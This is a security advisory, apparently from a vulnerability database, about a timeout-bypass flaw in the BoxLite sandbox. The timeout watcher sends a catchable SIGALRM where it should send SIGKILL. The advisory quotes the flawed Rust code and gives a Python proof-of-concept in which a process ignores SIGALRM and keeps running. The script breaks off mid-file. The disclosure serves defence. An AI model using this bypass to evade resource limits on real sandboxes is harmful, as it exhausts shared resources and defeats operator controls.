Improper control of interaction frequency In boxlite
Description
BoxLite has a Timeout Bypass Vulnerability #### Summary BoxLite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and run OCI containers within them. BoxLite allows users to configure a timeout for services running inside the virtual machine. When the timeout is triggered, BoxLite sends a signal to kill the process. However, instead of using the uncatchable SIGKILL signal, BoxLite uses the catchable SIGALRM signal. Malicious code running inside the sandbox can exploit this vulnerability to continue running after the timeout is triggered, leading to resource exhaustion within the virtual machine and affecting the availability of the BoxLite service. #### Details 1. ExecRequest with timeout_ms arrives at Execution service File: guest/src/service/exec/mod.rs Function: spawn_execution() (line 315) Code: rust // Step 3: Start timeout watcher (if requested) if req.timeout_ms > 0 { timeout::start_timeout_watcher( state, execution_id.clone(), std::time::Duration::from_millis(req.timeout_ms), ); } Issue: Any nonzero timeout_ms triggers the timeout watcher. The host expects this to kill the process after the specified duration. 2. Timeout watcher sends SIGALRM instead of SIGKILL File: guest/src/service/exec/timeout.rs Function: start_timeout_watcher() (line 13) Code: rust pub(super) fn start_timeout_watcher( exec_state: ExecutionState, exec_id: String, timeout: Duration, ) { tokio::spawn(async move { tokio::time::sleep(timeout).await; // Kill process with SIGKILL ← comment says SIGKILL use nix::sys::signal::Signal; if exec_state.kill(Signal::SIGALRM).await { // ← but sends SIGALRM info!(execution_id = %exec_id, "killed on timeout"); } }); } Issue: The comment on line 21 explicitly states "Kill process with SIGKILL", but line 23 sends Signal::SIGALRM. SIGALRM (signal 14) is the POSIX alarm signal and is catchable/ignorable; SIGKILL (signal 9) cannot be caught or ignored. This is a code error — wrong signal constant used. 3. exec_state.kill() passes the signal through unchanged File: guest/src/service/exec/state.rs Function: kill() (line 325) Code: rust pub async fn kill(&self, signal: nix::sys::signal::Signal) -> bool { let inner = self.inner.lock().await; if let Some(ref handle) = inner.handle { handle.kill(signal).is_ok() } else { false } } Issue: No override of the signal — the wrong signal (SIGALRM) is delivered directly to the process. 4. ExecHandle.kill() delivers SIGALRM to the process File: guest/src/service/exec/exec_handle.rs Function: kill() (line 335) Code: rust pub fn kill(&self, signal: Signal) -> BoxliteResult<()> { use nix::sys::signal::kill; kill(self.pid, signal).map_err(|e| { BoxliteError::Internal(format!( "Failed to send signal {} to process {}: {}", signal, self.pid, e )) }) } Issue: Sends SIGALRM (signal 14) to the process. Any process that has registered a custom SIGALRM handler (e.g., via signal(SIGALRM, handler)) or set SIGALRM to SIG_IGN will not be terminated. As seen from the code, the developer indicated in the comments that SIGKILL should be sent to kill the timed-out process, but SIGALRM was used in the implementation, resulting in the vulnerability. #### PoC 1. Install Boxlite following the official tutorial. 2. Run the following Python script: ```python #!/usr/bin/env python3 """ PoC: BoxLite Execution Timeout Bypass via SIGALRM Reproduces the vulnerability described in: "Hunt Report: Exec Timeout Enforcement Bypass via SIGALRM Misuse" Root cause: guest/src/service/exec/timeout.rs sends Signal::SIGALRM (signal 14, catchable/ignorable) instead of Signal::SIGKILL (signal 9, uncatchable). Exploitation: Any process that calls signal(SIGALRM, SIG_IGN) will survive past its configured timeout and run indefinitely. Usage: cd ~/Downloads/boxlite_poc source .venv/bin/activate python3 poc_sigalrm_bypass.py """ import asyncio import time import boxlite # ----------------------------------------------------------------------------- # Test programs (Python, so no gcc required) # ----------------------------------------------------------------------------- # Control: no special signal handling — SIGALRM's default action is termination NORMAL_PROCESS = """ import sys, time, os, signal seconds = int(sys.argv[1]) if len(sys.argv) > 1 else 8 print(f"PID {os.getpid()}: normal process (default SIGALRM), running for {seconds}s", flush=True) for i in range(1, seconds + 1): time.sleep(1) print(f"PID {os.getpid()}: t+{i}s alive", flush=True) print(f"PID {os.getpid()}: finished", flush=True) """ # Exploit: installs SIG_IGN for SIGALRM — one line bypass IGNORE_SIGALRM = """ import sys, time, os, signal seconds = int(sys.argv[1]) if len(sys.argv) > 1 else 8 signal.signal(signal.SIGALRM, signal.SIG_IGN) # <-- bypass print(f"PID {os.getpid()}: SIGALRM=SIG_IGN, running for {seconds}s", flush=True) for i in range(1, seconds + 1): time.sleep(1) if i > 3: print(f"PID {os.getpid()}: t+{i}s STILL ALIVE (PAST 3s TIMEOUT!)", flush=True) else: print(f"PID {os.getpid()}: t+{i}s alive", flush=True) print(f"PID {os.getpid()}: WORKLOAD COMPLETE - TIMEOUT WAS BYPASSED", flush=True) """ TIMEOUT_S = 3.0 # configured timeout WORKLOAD_S = 8 # process wants to run for 8 seconds # ----------------------------------------------------------------------------- # Helper # ----------------------------------------------------------------------------- async def run_test(box, name, script, timeout): print(f"\n{'=' * 70}") print(f"TEST: {name}") print(f" timeout={timeout}s" if timeout else " timeout=None (disabled)") print(f"{'=' * 70}") t0 = time.time() try: result = await box.exec("python3", "-c", script, str(WORKLOAD_S), timeout=timeout) elapsed = time.time() - t0 print(f" [RESULT] exit_code={result.exit_code}, elapsed={elapsed:.2f}s") print(" [OUTPUT]") for line in result.stdout.strip().splitlines(): if line.strip(): print(f" {line}") return { "elapsed": elapsed, "exit_code": result.exit_code, "timed_out": False, "stdout": result.stdout, } except boxlite.TimeoutError as e: elapsed = time.time() - t0 print(f" [TIMEOUT] BoxLite raised TimeoutError after {elapsed:.2f}s: {e}") return {"elapsed": elapsed, "exit_code": None, "timed_out": True, "stdout": ""} except Exception as e: elapsed = time.time() - t0 print(f" [ERROR] {type(e).name}: {e} (elapsed {elapsed:.2f}s)") return {"elapsed": elapsed, "exit_code": None, "timed_out": False, "stdout": ""} # ----------------------------------------------------------------------------- # Main # ----------------------------------------------------------------------------- async def main(): print("BoxLite PoC: Execution Timeout Bypass via SIGALRM") print("=" * 70) async with boxlite.SimpleBox(image="python:3-alpine") as box: print(f"Box started: {box.id}") # Confirm SIGALRM = 14 inside the container r = await box.exec("python3", "-c", "import signal; print(signal.SIGALRM)") print(f"SIGALRM value inside container: {r.stdout.strip()}") # --- Test 1: CONTROL --- r1 = await run_test( box, "CONTROL: Normal process + 3s timeout (default SIGALRM=terminate)", NORMAL_PROCESS, TIMEOUT_S, ) await asyncio.sleep(1) # --- Test 2: EXPLOIT --- r2 = await run_test( box, "EXPLOIT: SIGALRM=SIG_IGN + 3s timeout (BYPASS)", IGNORE_SIGALRM, TIMEOUT_S, ) await asyncio.sleep(1) # --- Test 3: BASELINE --- r3 = await run_test( box, "BASELINE: Normal process, no timeout (sanity check)", NORMAL_PROCESS, None, ) # --- Verdict --- print(f"\n{'=' * 70}") print("VERDICT") print(f"{'=' * 70}") print(f" CONTROL: elapsed={r1['elapsed']:.2f}s exit_code={r1['exit_code']} timed_out={r1['timed_out']}") print(f" EXPLOIT: elapsed={r2['elapsed']:.2f}s exit_code={r2['exit_code']} timed_out={r2['timed_out']}") print(f" BASELINE: elapsed={r3['elapsed']:.2f}s exit_code={r3['exit_code']} timed_out={r3['timed_out']}") # exit_code == -14 means killed by signal 14 (SIGALRM), not -9 (SIGKILL) control_killed_by_sigalrm = r1["exit_code"] == -14 and r1["elapsed"] < 5.0 exploit_survived = r2["elapsed"] > 5.0 and r2["exit_code"] == 0 print() if control_killed_by_sigalrm: print(" [+] Control process killed by signal 14 (SIGALRM), not signal 9 (SIGKILL)") print(" → confirms timeout watcher sends SIGALRM instead of SIGKILL") if exploit_survived:
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
pypi | 0.9.0 |
Aliases
References